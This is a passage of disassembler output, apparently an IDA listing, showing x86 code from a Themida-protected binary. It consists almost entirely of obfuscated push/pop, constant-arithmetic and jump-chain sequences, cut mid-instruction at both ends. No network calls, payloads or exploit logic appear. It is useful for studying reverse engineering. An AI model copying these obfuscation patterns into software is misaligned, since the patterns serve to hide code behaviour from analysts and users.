loc_5571CD ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A2CD: ; CODE XREF: Themida_:00553ABFj mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp] pop esp push 4C5Fh mov [esp], ebx jmp loc_551395 ; --------------------------------------------------------------------------- loc_55A2E6: ; CODE XREF: Themida_:00558551j push esp pop esi jmp loc_551BBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A2ED: ; CODE XREF: sub_556A70-4D92j sub eax, 3A8D70B0h push [esp+4+var_4] pop ebp add esp, 4 jmp sub_550F53 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55A30D: ; CODE XREF: Themida_:0055CB4Fj push esi mov esi, esp push edi mov edi, 4 jmp loc_55AC6E ; --------------------------------------------------------------------------- loc_55A31B: ; CODE XREF: Themida_:0055C2F7j push ecx mov ecx, 4 add ebp, ecx pop ecx push edx jmp loc_55CC2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_55A32A: ; CODE XREF: sub_552B74-189Ej push eax mov ah, 0C7h xor ah, 12h jmp loc_553A60 ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- loc_55A335: ; CODE XREF: Themida_:0055BF7Fj pop edx add al, 88h add al, bl sub al, 88h jmp loc_552EDE ; --------------------------------------------------------------------------- loc_55A341: ; CODE XREF: Themida_:00552782j add [esp+4], dx add word ptr [esp+4], 34D2h jmp loc_556639 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A352: ; CODE XREF: sub_556A70+2A58j xor eax, 151043EEh jmp loc_557C04 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_55A35C: ; CODE XREF: sub_5566B9-5530j xchg eax, ecx dec eax sub esp, 4 jmp loc_55497E ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- loc_55A366: ; CODE XREF: Themida_:00554137j inc edi xor edi, 53C4447Ch sub edi, 2FA5486h sub edi, 1994C319h jmp loc_559447 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A37E: ; CODE XREF: sub_556A70-52FAj xchg esi, edi not esi xchg esi, edi push eax push 5F76h mov [esp+4+var_4], edi pop eax push dword ptr [esp+0] mov edi, [esp+4+var_4] push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+8+var_8] pop esp mov [esp+4+var_4], esi mov esi, esp add esi, 4 add esi, 4 push esi push [esp+8+var_4] pop esi pop [esp+8+var_8] pop esp add esp, 4 push 3C65h mov [esp+0], edi mov edi, esp add edi, 4 jmp sub_559D5E ; --------------------------------------------------------------------------- loc_55A3DA: ; CODE XREF: sub_556A70+3691j push esp push [esp-16h+arg_10+2] pop edx jmp loc_5520C7 ; --------------------------------------------------------------------------- loc_55A3E4: ; CODE XREF: sub_556A70+3206j add ebx, 6FC743D3h jmp loc_55C82A ; --------------------------------------------------------------------------- loc_55A3EF: ; CODE XREF: sub_556A70+7E5j add esp, 4 jmp loc_55CE8C ; --------------------------------------------------------------------------- loc_55A3F7: ; CODE XREF: sub_556A70+39j shl ebp, 5 not ebp not ebp add ebp, 7CB7E3A2h jmp loc_5552E7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push 6902h mov [esp], eax mov eax, 0FFFFFBFFh jmp loc_553846 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557EBA loc_55A41B: ; CODE XREF: sub_557EBA+28j pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp+4+var_4] mov esp, [esp+4+var_4] push 6B65h mov [esp-4+arg_0], ebx sub esp, 4 mov [esp+0], esi mov esi, eax sub esp, 4 mov [esp+4+var_4], ebp push esi sub esp, 4 mov [esp+0Ch+var_C], ebp mov ebp, 0BDA20ACh xor [esp+0Ch+var_8], ebp pop ebp pop ebp xor ebp, 0BDA20ACh mov ebx, ebp pop ebp mov esi, [esp+0] jmp sub_555F13 ; END OF FUNCTION CHUNK FOR sub_557EBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A467: ; CODE XREF: sub_556A70-49ECj add ebp, 4 xor ebp, [esp+4+var_4] jmp loc_552564 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A475: ; CODE XREF: Themida_:0055CE01j sub esi, 77533EBEh pop edx add esi, 4 xchg esi, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop edx push edi mov edi, esp push ebx mov ebx, 136D5C5Bh add ebx, 545719F6h or ebx, 465F76BCh jmp loc_55CF43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A4A9: ; CODE XREF: sub_556A70-4663j mov [esp-14h+arg_10], eax push edi mov edi, 5D93116Bh or edi, 3C3B523Bh shr edi, 2 sub edi, 0B8578EAh dec edi sub edi, 1284BBDAh jmp loc_55A1D5 ; --------------------------------------------------------------------------- loc_55A4CD: ; CODE XREF: sub_556A70+C01j sub edx, 2F38086Ch push eax mov eax, 0 add eax, edx jmp loc_551478 ; --------------------------------------------------------------------------- loc_55A4E0: ; CODE XREF: sub_556A70+39Bj mov ebx, ebp jmp loc_55A638 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A4E7: ; CODE XREF: Themida_:0055229Aj push ebx jmp loc_5520A3 ; --------------------------------------------------------------------------- loc_55A4ED: ; CODE XREF: Themida_:00558EBEj push edx mov edx, 4 add [esp+4], edx jmp loc_5570DA ; --------------------------------------------------------------------------- loc_55A4FC: ; CODE XREF: Themida_:0055CE2Dj add ebx, edi mov edi, [esp] jmp loc_55A6F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A506: ; CODE XREF: sub_556A70-A59j push ecx jmp loc_5545C7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555B85 loc_55A50C: ; CODE XREF: sub_555B85+5FC0j sub ebp, 22784976h jmp loc_5516B1 ; END OF FUNCTION CHUNK FOR sub_555B85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A517: ; CODE XREF: sub_556A70-1F20j shr eax, 3 add eax, 4AC17F77h sub eax, 1 xor eax, 56CA0732h xor eax, 4232DF7Eh mov ebp, eax jmp loc_5585B1 ; --------------------------------------------------------------------------- loc_55A533: ; CODE XREF: sub_556A70-1852j sub edx, eax jmp loc_555D9E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov cx, [esp] push 61C8h mov [esp], eax mov eax, esp sub esp, 4 mov [esp], ebp jmp loc_55735D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A556: ; CODE XREF: sub_556A70+46C2j mov eax, 0B740A73Dh jmp loc_552F30 ; --------------------------------------------------------------------------- loc_55A560: ; CODE XREF: sub_556A70+570Ej mov [esp-6+arg_0+2], ebx jmp loc_555730 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A568: ; CODE XREF: Themida_:0055CFC1j push dword ptr [esp] jmp loc_55AE74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_55A570: ; CODE XREF: sub_5566B9+283Dj add ebx, eax pop eax add ebx, 4 xchg ebx, [esp+0Ch+var_C] pop esp and ecx, eax push [esp+8+var_8] pop eax add esp, 4 shr ecx, 7 jmp loc_554832 ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A58E: ; CODE XREF: sub_556A70+4FCDj pop esi jmp loc_55CC3E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A594: ; CODE XREF: Themida_:00550BB0j sub esp, 4 mov [esp], edx push ebx mov bh, 0A7h xchg dh, bh jmp loc_553576 ; --------------------------------------------------------------------------- loc_55A5A7: ; CODE XREF: Themida_:00559840j push 38h jmp loc_55578E ; --------------------------------------------------------------------------- loc_55A5B1: ; CODE XREF: Themida_:0055BD54j push esi mov esi, esp add esi, 4 jmp loc_55162D ; --------------------------------------------------------------------------- loc_55A5BF: ; CODE XREF: Themida_:0055BE71j shl dword ptr [esp], cl pushf jmp loc_559D2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A5C8: ; CODE XREF: sub_556A70-4C84j mov [eax], ecx mov eax, [esp-0Ch+arg_8] jmp loc_55114B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A5D2: ; CODE XREF: Themida_:00554A40j add eax, esi pop esi push 1CA4h jmp loc_55100A ; =============== S U B R O U T I N E ======================================= sub_55A5DF proc near ; CODE XREF: sub_5553D0-1D94j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C805 SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], ecx mov ch, 60h shl ch, 8 inc ch shr ch, 3 shr ch, 5 xor ch, 31h add bl, 0F4h add bl, ch sub bl, 0F4h mov ecx, [esp+4+var_4] add esp, 4 jmp loc_55C805 sub_55A5DF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A60B: ; CODE XREF: sub_556A70-329Ej push [esp+8+var_4] pop eax pop [esp+8+var_8] pop esp mov ax, [esp+0] push ecx mov ecx, esp add ecx, 4 jmp loc_558007 ; --------------------------------------------------------------------------- loc_55A626: ; CODE XREF: sub_556A70-27DCj push dword ptr [esp+0] pop eax push esi mov esi, esp add esi, 4 jmp loc_5543DC ; --------------------------------------------------------------------------- loc_55A638: ; CODE XREF: sub_556A70+3A72j push dword ptr [esp+0] pop ebp push 5814h mov [esp+4+var_4], ebp mov ebp, esp add ebp, 4 push 4096h jmp loc_55841A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B730 loc_55A656: ; CODE XREF: sub_55B730-1D53j sub [edi+24h], ebp jmp loc_553EF5 ; END OF FUNCTION CHUNK FOR sub_55B730 ; --------------------------------------------------------------------------- loc_55A65E: ; CODE XREF: Themida_:005512F8j jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55A663: ; CODE XREF: Themida_:00551633j xchg esi, [esp] pop esp push ebp mov ebp, 2 sub edi, 2DF96E72h jmp loc_55BFCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A678: ; CODE XREF: sub_556A70+2704j xchg ecx, [esp+0] pop esp and eax, edx jmp loc_55AE4E ; --------------------------------------------------------------------------- loc_55A683: ; CODE XREF: sub_556A70+5C58j shr ebx, 5 or ebx, 39291308h shr ebx, 3 push ebp mov ebp, 0F8881895h jmp loc_5523E5 ; --------------------------------------------------------------------------- loc_55A69A: ; CODE XREF: sub_556A70+2B1Dj mov ebx, [esp-4+arg_0] push edi mov edi, esp add edi, 4 jmp loc_555E00 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A6AB: ; CODE XREF: Themida_:005529CAj xor al, bh mov ebx, [esp] add esp, 4 jmp loc_555336 ; --------------------------------------------------------------------------- loc_55A6BB: ; CODE XREF: Themida_:0055A7C8j add eax, esi pop esi jmp loc_55139B ; --------------------------------------------------------------------------- loc_55A6C3: ; CODE XREF: Themida_:00551868j mov esi, esp sub esp, 4 jmp loc_5554CA ; =============== S U B R O U T I N E ======================================= sub_55A6CD proc near ; CODE XREF: sub_552E24-C7Dj ; FUNCTION CHUNK AT 005535E0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00557FB9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055991D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055CDD7 SIZE 0000000B BYTES push ebp mov ebp, 4 add esi, ebp pop ebp jmp loc_5535E0 sub_55A6CD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5582B3 loc_55A6DB: ; CODE XREF: sub_5582B3-46E7j mov edi, 643B3D27h add edi, 9BC4C2DDh jmp loc_55C9B2 ; END OF FUNCTION CHUNK FOR sub_5582B3 ; --------------------------------------------------------------------------- loc_55A6EB: ; CODE XREF: Themida_:00554233j mov [esp], edx jmp loc_554014 ; --------------------------------------------------------------------------- loc_55A6F3: ; CODE XREF: Themida_:0055A501j push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_553C7D ; =============== S U B R O U T I N E ======================================= sub_55A704 proc near ; CODE XREF: sub_556A70+192Bj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055B053 SIZE 0000003B BYTES push ebp mov ebp, 4 add edx, ebp pop ebp add edx, 4 xchg edx, [esp+0] pop esp jmp loc_55B053 sub_55A704 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5539DB loc_55A719: ; CODE XREF: sub_5539DB+576Bj push edx mov edx, 2F406A46h jmp loc_558EFB ; END OF FUNCTION CHUNK FOR sub_5539DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A724: ; CODE XREF: sub_556A70+63F2j push 2B74h jmp loc_5571FF ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A72E: ; CODE XREF: Themida_:0055823Aj push small 1145h mov [esp], dx jmp loc_552953 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A73B: ; CODE XREF: sub_556A70-3B05j mov ebp, ecx sub esp, 4 mov [esp+4+var_4], ebp jmp sub_5557A0 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_55A748 proc near ; CODE XREF: sub_556A70-19C4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00551784 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00552DFE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005545E7 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00555C74 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00555FB4 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00558A07 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00559335 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00559BE9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055C1F6 SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], edx mov dh, 0E5h and dh, 0A0h or dh, 6Fh dec dh and dh, 0F1h xor dh, 5Ah jmp loc_558A07 sub_55A748 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554BBA loc_55A766: ; CODE XREF: sub_554BBA-276Aj add esi, 4 xchg esi, [esp-8+arg_4] jmp loc_55231F ; END OF FUNCTION CHUNK FOR sub_554BBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5539DB loc_55A771: ; CODE XREF: sub_5539DB+Ej mov edx, 4C4F41AEh inc edx xor edx, 35CB474Bh and edx, 2AC801E2h sub edx, 0B953A681h or edi, edx pop edx shl edi, 5 push edi xchg edi, [esp+0Ch+var_C] not edi jmp loc_551374 ; END OF FUNCTION CHUNK FOR sub_5539DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553657 loc_55A79A: ; CODE XREF: sub_553657+84A9j xor ebx, eax push small word ptr [eax] jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_553657 ; --------------------------------------------------------------------------- loc_55A7A4: ; CODE XREF: Themida_:005519A1j add esp, 4 mov dh, al pop eax push eax jmp loc_556E94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A7B0: ; CODE XREF: sub_556A70+CF4j add edx, 4 jmp loc_559FB8 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A7BB: ; CODE XREF: Themida_:00552531j push esp pop eax add eax, 4 push esi mov esi, 4 jmp loc_55A6BB ; --------------------------------------------------------------------------- mov cx, [esp] push 2BB9h mov [esp], edx push esp pop edx add edx, 4 jmp loc_5598AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A7E6: ; CODE XREF: sub_556A70+15AFj add esp, 4 jmp loc_557CBC ; --------------------------------------------------------------------------- loc_55A7F1: ; CODE XREF: sub_556A70+1FDj mov eax, [esp+0] add esp, 4 add esp, 4 jmp loc_552622 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A7FF: ; CODE XREF: Themida_:00558002j sub edx, 1B7975C1h add edx, ebx jmp loc_55982A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A9A4 loc_55A80C: ; CODE XREF: sub_55A9A4-4ADCj shr cl, 2 shr cl, 6 add cl, 3Ch add bl, cl mov ecx, [esp-4+arg_0] jmp loc_559F06 ; END OF FUNCTION CHUNK FOR sub_55A9A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A81F: ; CODE XREF: sub_556A70+23F2j sub eax, edi push ecx jmp loc_555B07 ; --------------------------------------------------------------------------- loc_55A827: ; CODE XREF: sub_556A70+CC6j sub ecx, 436B7536h jmp loc_558077 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A832: ; CODE XREF: Themida_:0055235Fj not edx and edx, 471B053Ch jmp loc_557193 ; --------------------------------------------------------------------------- loc_55A83F: ; CODE XREF: Themida_:00558E4Cj xor ecx, 41548009h jmp loc_55242F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553B16 loc_55A84A: ; CODE XREF: sub_553B16+4D25j sub [esp+arg_0], ebp add [esp+arg_0], 50A97A7Eh pop ebp mov eax, [esp-4+arg_0] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] pop esp push edx mov edx, 62B805BAh push edx push eax pop edx jmp loc_552FB8 ; END OF FUNCTION CHUNK FOR sub_553B16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A87B: ; CODE XREF: sub_556A70-B6j xor edi, 3AFF6EE2h add ebx, 31921E65h jmp loc_5595AE ; --------------------------------------------------------------------------- loc_55A88C: ; CODE XREF: sub_556A70-3B3Ej pop eax xor edx, ebp pop ebp xor edx, 2A116D2Ah jmp loc_55C57B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A89B: ; CODE XREF: Themida_:00559365j pop eax shl ebx, 7 jmp loc_5515D6 ; --------------------------------------------------------------------------- loc_55A8A4: ; CODE XREF: Themida_:0055B809j mov ebx, 38F1176Fh and ebp, ebx pop ebx push edi push 345E3DACh pop edi sub edi, 36A23FA2h inc edi add edi, 77FA28ADh sub ebp, edi pop edi push ecx mov ecx, 75051178h add ebp, ecx jmp loc_55CE23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55A8D0: ; CODE XREF: sub_5584F8+47E2j and edx, ebx pop ebx jmp loc_558DB9 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_551E74 loc_55A8D8: ; CODE XREF: sub_551E74+2A4Fj add ebx, edi add ebx, 537929D8h pop edi push eax jmp loc_55C1DB ; END OF FUNCTION CHUNK FOR sub_551E74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A8E7: ; CODE XREF: sub_556A70-467Ej add esp, 4 jmp loc_5560EE ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A8F2: ; CODE XREF: Themida_:0055A20Dj add eax, 2A525CFBh jmp loc_558C5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A8FC: ; CODE XREF: sub_556A70+24CAj push [esp-8+arg_4] mov ebp, [esp-4+arg_0] add esp, 4 add esp, 4 jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55A913: ; CODE XREF: sub_556A70+572Dj add eax, ecx pop ecx pop ebx push 5C6Ah mov [esp-10h+arg_C], esi mov esi, 1A3436ADh add ebx, esi jmp loc_551D4F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55A92B: ; CODE XREF: sub_5584F8+CF8j push 1EF73FCAh pop ebp jmp loc_556238 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A936: ; CODE XREF: sub_556A70-546Dj pop edi jmp loc_55B529 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A93C: ; CODE XREF: Themida_:00550B43j not edx shl edx, 5 sub edx, 0E8293FDCh add ebx, edx pop edx push ebp mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp] pop esp push 59B3h mov [esp], eax mov eax, esp jmp loc_55CC45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A966: ; CODE XREF: sub_556A70+3F6Dj add esp, 4 sub bl, 72h add al, bl mov ebx, [esp+8+var_8] add esp, 4 push 7F24h mov [esp+8+var_8], edx push 6EBDh mov [esp+0Ch+var_C], ecx mov ch, 0FCh jmp loc_55BA42 ; --------------------------------------------------------------------------- loc_55A98E: ; CODE XREF: sub_556A70+4280j mov ax, word ptr [esp+0Ch+var_C] push 4312h mov [esp+10h+var_10], ecx push 505Ch jmp loc_55C007 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_55A9A4 proc near ; CODE XREF: sub_559F2D+15B0j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00555EC5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00559F06 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055A80C SIZE 00000013 BYTES push ebx mov bh, 0D6h sub bh, 0C8h add bh, 4 not bh add bh, 0DBh mov al, bh pop ebx jmp loc_555EC5 sub_55A9A4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55A9BA: ; CODE XREF: sub_556A70+C2j add edi, 463A5171h jmp loc_552F96 ; --------------------------------------------------------------------------- loc_55A9C5: ; CODE XREF: sub_556A70+1432j xor eax, ebx jmp loc_55510D ; --------------------------------------------------------------------------- loc_55A9CC: ; CODE XREF: sub_556A70-4441j mov [esp+0], esp add dword ptr [esp+0], 4 pop eax jmp loc_559AB1 ; --------------------------------------------------------------------------- loc_55A9DC: ; CODE XREF: sub_556A70-C2Fj pop ecx jmp loc_55A966 ; --------------------------------------------------------------------------- loc_55A9E2: ; CODE XREF: sub_556A70-5683j shl ch, 7 not ch and ch, 3Eh not ch add ch, 0B2h sub ah, ch pop ecx inc ah push ebx push eax jmp sub_553D17 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55A9FB: ; CODE XREF: Themida_:005535B3j xor ebx, eax mov dx, [esp] push 6F6Ch mov [esp], esi push esp pop esi add esi, 4 push edx sub esp, 4 mov [esp], edi mov edi, 25405218h sub edi, 60944A77h push eax mov eax, 0C4AC079Fh jmp loc_55AF79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AA31: ; CODE XREF: sub_556A70-5C49j push esi sub esp, 4 jmp loc_557B60 ; --------------------------------------------------------------------------- loc_55AA3A: ; CODE XREF: sub_556A70+6ACj mov edx, 22D275C8h xor edx, edi xor edi, edx xor edx, edi not edi jmp loc_551858 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55AA4C: ; CODE XREF: Themida_:00558868j push dword ptr [edi+eax*4] push ebx mov ebx, 31EF64ACh xor [esp+4], ebx pop ebx jmp loc_55BB5E ; =============== S U B R O U T I N E ======================================= sub_55AA5F proc near ; CODE XREF: sub_556A70-54B7j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00550B76 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00550E79 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00552536 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00552B13 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005532C6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00553CE3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005545E1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005588EB SIZE 00000008 BYTES push ebx mov ebx, 278A541Ah neg ebx inc ebx or ebx, 6809562Dh xor ebx, 9F4501Eh or ebx, 2ED566F5h jmp loc_552B13 sub_55AA5F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552634 loc_55AA7F: ; CODE XREF: sub_552634+737Dj add edx, eax add edx, 4DA278CDh push esi push edx mov edx, 8FF7D52h jmp loc_554075 ; END OF FUNCTION CHUNK FOR sub_552634 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AA93: ; CODE XREF: sub_556A70+4225j mov [esp+1Ch+var_1C], ecx mov ecx, 4 jmp loc_550AEF ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55AAA0: ; CODE XREF: Themida_:0055940Fj xor al, 9Dh add bl, 34h jmp loc_551C85 ; --------------------------------------------------------------------------- loc_55AAAA: ; CODE XREF: Themida_:00558333j inc ecx push edx mov edx, 54EA68BEh jmp loc_55AB22 ; --------------------------------------------------------------------------- loc_55AAB6: ; CODE XREF: Themida_:005510FCj mov eax, 7B631707h add eax, 0E3D9265Dh mov ebx, eax jmp loc_553951 ; --------------------------------------------------------------------------- loc_55AAC7: ; CODE XREF: Themida_:0055C8ACj add esi, 4F521115h sub esi, 7B195AD8h push ebx push 3E6D45D8h pop ebx xor ebx, 31B85802h add esi, ebx pop ebx add esi, eax push ecx mov ecx, 292D7D3Ah shr ecx, 7 or ecx, 3B3B1815h add ecx, 0D459C2DBh sub esi, ecx mov ecx, [esp] add esp, 4 add esi, 7B195AD8h push ecx mov ecx, 1C5D150Dh sub ecx, 4BCD16B3h add ecx, 21697089h jmp loc_558E49 ; --------------------------------------------------------------------------- loc_55AB22: ; CODE XREF: Themida_:0055AAB1j sub edx, 23FE11C0h jmp loc_556FB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AB2D: ; CODE XREF: sub_556A70-99Aj mov [esp-14h+arg_10], ebx jmp loc_555CF3 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55AB35: ; CODE XREF: Themida_:0055615Bj add ebx, 53F14A0h mov edx, ebx pop ebx sub edx, 0FFFFFFFFh xor edx, 6E42A2Ch xchg ebx, edx not ebx xchg ebx, edx sub edx, 0A6F0B059h add ebx, edx jmp loc_555F5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AB5A: ; CODE XREF: sub_556A70-3E34j xor edx, [esp-4+arg_0] pop esp push edx jmp loc_556036 ; --------------------------------------------------------------------------- loc_55AB64: ; CODE XREF: sub_556A70+33CCj push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-12h+arg_C+2] mov esp, [esp-12h+arg_C+2] mov [esp-12h+arg_C+2], ebp push 43C1h jmp loc_552011 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55AB86: ; CODE XREF: Themida_:00555C69j mov esi, [esp] add esp, 4 jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55AB94: ; CODE XREF: sub_556A70+1C1Dj pop eax xchg edi, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], ebx push ecx push ebp jmp loc_559C32 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_55ABA3 proc near ; CODE XREF: sub_556A70+A5j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00550CE4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00552F51 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055CD74 SIZE 00000011 BYTES push ebp push 746F6DBAh pop ebp add ebp, 0FFFFFFFFh jmp loc_55CD74 sub_55ABA3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55ABB5: ; CODE XREF: sub_556A70-315Ej xchg edi, [esp-18h+arg_14] pop esp mov [esp-1Ch+arg_18], eax jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55ABC1: ; CODE XREF: sub_556A70+563Dj add edx, ecx pop ecx sub edx, 0DEE561BAh push edx sub [esp-1Ch+arg_18], 338B101Bh pop edi add edi, 338B101Bh pop edx and ebx, edi mov edi, [esp-24h+arg_20] push 430Fh mov [esp-20h+arg_1C], edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp-20h+arg_1C] xor 